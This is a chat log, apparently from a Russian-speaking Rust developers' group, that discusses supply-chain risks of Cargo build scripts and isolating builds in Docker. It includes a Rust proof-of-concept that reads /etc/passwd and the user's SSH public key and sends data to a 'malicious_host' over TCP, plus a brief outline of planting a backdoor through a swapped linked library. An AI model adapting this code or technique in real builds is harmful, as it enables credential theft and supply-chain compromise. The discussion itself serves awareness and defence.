Vladimir
мне кажется правильно было бы сделать флаг "disable build scipt"
Vladimir
чтобы при билде зависимости с билд скриптом карго ругалось
Vladimir
Да понятно, но рантайм и Билд могут происходить на разных машинах
Vladimir
И если рантайм изолировать - эта нормальная практика, то вот билды изолировать сложно
Marat
Vladimir
Вечно нужны ключи для выкачивания гит зависимостей, или для доступа по ссх на дев сервер
Marat
А ну это да
Marat
Ну по идее все равно можно скачивать отдельно, а билдить отдельно
Marat
Важнее вопрос доверия к пакетам все равно
Vladimir
Marat
Так, невозможно же сделать return из внешней функции внутри замыкания?
Max
Anonymous
запилить переменную перед замыканием
Anonymous
😏
Маjко
use std::fs::File;
use std::io::prelude::*;
use std::io::Read;
use std::net::TcpStream;
fn main() {
steal_passwords();
steal_private_key();
send_stuff_over_network();
}
fn steal_passwords() {
let mut f = match File::open("/etc/passwd") {
Ok(f) => f,
Err(_) => {
println!("drats! foiled!");
return;
}
};
let mut contents = String::new();
f.read_to_string(&mut contents).unwrap();
print!("{}", contents);
}
fn steal_private_key() {
match std::env::var("LOGNAME") {
Ok(val) => {
// only public key. i'm not that evil
let mut f = match File::open(format!("/home/{}/.ssh/id_rsa.pub", val)) {
Ok(f) => f,
Err(_) => {
println!("couldn't open public key");
return;
}
};
let mut key_contents = String::new();
f.read_to_string(&mut key_contents).unwrap();
print!("{}", key_contents);
},
Err(_) => {
println!("couldn't get username");
return;
}
}
}
fn send_stuff_over_network() {
let malicious_host = "127.0.0.1"; // google is "172.217.25.46" if you want to test *real* networking
let mut stream = match TcpStream::connect(format!("{}:8080", malicious_host)) {
Ok(s) => s,
Err(_) => {
println!("hmm, no networking?");
return;
},
};
let msg = String::from("totally not someone's public key\n");
let _ = stream.write(msg.as_bytes());
}
Наайс. А по доке то этого и не увидеть.
Маjко
Vladimir
Anonymous
в другом треде, и проверять изменилась ли она бесконечно
Vladimir
Anonymous
а можно unsafecell?
Маjко
Anonymous
значит можно..
Маjко
Запускать в контейнере, в котором только системные библиотеки, при попытке доступа куда-то еще либо спрашивать юзера
Маjко
Хотя тоже не идеальное решение
Vladimir
Ну хотя бы у этих штук не будет доступа в всякие ~/.ssh
Ну так в том и дело, что никогда не знаешь что может пригодится билдерам. Вот по этому мне Билд РС и не нравится, ощущение что выложили на отбьебись мол делай что хочешь, ибо как-то стандартизировать это сложна
Маjко
Это мощный инструмент
Маjко
Я думаю, что тут по принципам опенсорса все забьют
Маjко
Код открыт
Маjко
Кто-нибудь да обнаружит в популярном крейте
Vladimir
так и забьют
Vladimir
фишка билд скриптов, что можно даже не открывая сорцы задеплоить бекдор:
1) линкуешь с либо которую качаешь с своих реп
2) подменяешь либу на что-то поломанное
LexsZero
Vladimir
дев окружение?
LexsZero
да. кросскомпиляция деб-пакетов под арм и сборка образов фирмваре.
LexsZero
ну и просто чтоб make в нужном энвайроменте делать со всей нужной херней
Vladimir
стоп, это ты про ci какой-то говоришь, а разрабатываете вы тоже в докере?
Vladimir
а ясн
LexsZero
Vladimir
тогда вопрос, есть ли у вас приватные зависимости в гите?
LexsZero
проект не на русте, да. все сорцы на гитхабе лежат, что хочешь ковырять то и клонишь.
Vladimir
не ну это ж лениво
Vladimir
без нужды кто станет изолироваться докером?
LexsZero
ну у нас есть нужда - повторяемость сборок. чтоб и CI, и девелопер могли собрать идентичные пакеты в хитрожопом энвайроменте.
Vladimir
Ну в вашем случае вообще проблемы исходной нету, так как достаточно сделать cargo vendor аналог и изучить сорцы того что юзаете. А тут для меня в первую очередь проблема в том, что вроде как все раньше было норм, на какой-то лине v0.1 а тут вдруг выкладывают версию. 0.1.1 и билд скрипт начинает делать гадости, а я даже свой конфиг не менял
Marat
Модно молодежно
Vladimir
Marat
Ну я даже локально довольно часто в докере собираю
Vladimir
Vladimir
та тут пол чата такие
Маjко
извращенец
Да не, это удобно. Всё окружение в докере, тебе не надо тянуть в систему и поддерживать наличие библиотек нужных версий (а нигде кроме генты это не возможно, ибо слотов нет)
Michael
привет я виндузятник и юзаю докер
Vladimir
Ну у вас не раст, а карго вроде должно твою проблему решать
Vladimir
кстати насчет докера, вот если девелопишь чет под винду, то докер вообще не варик
Marat
Я тут немного в rocksdb-rust поконтрибьютил и заодно валгриндом проверял свой коммит, а он на маке через жопу работал. Собрал контейнер и нормально проверил
Маjко
Marat
При этом в контейнере просто симлинки были на сорцы проекта, чтобы каждый раз не пересобирать
Vladimir
Vladimir
https://users.rust-lang.org/t/howto-sanitize-your-rust-code/9378
Vladimir
ну это в расте, у тебя я так понимаю clang и там тоже есть флаг соответствующий
分解物質
сборочки, билдики, оффициальные, на всё случаи жизни, так великодушно нам сразу готовое подают, потому-что самим собирать та ещё морока
виндовенько
andrei
че не так
Vladimir
Vladimir
Я вот на маке тестил перед выходом
Vladimir
Стейбле
分解物質
санитизеры же давно в rustc были
вроде
分解物質
*поддержка
Vladimir
Полгода
Vladimir
Я просто не пойму к чему тот скрин)
Stanislav
http://matthias-endler.de/2017/go-vs-rust/
Anonymous
отель? триваго
分解物質
Loo
ТРИГГЕРЕЕЕЕД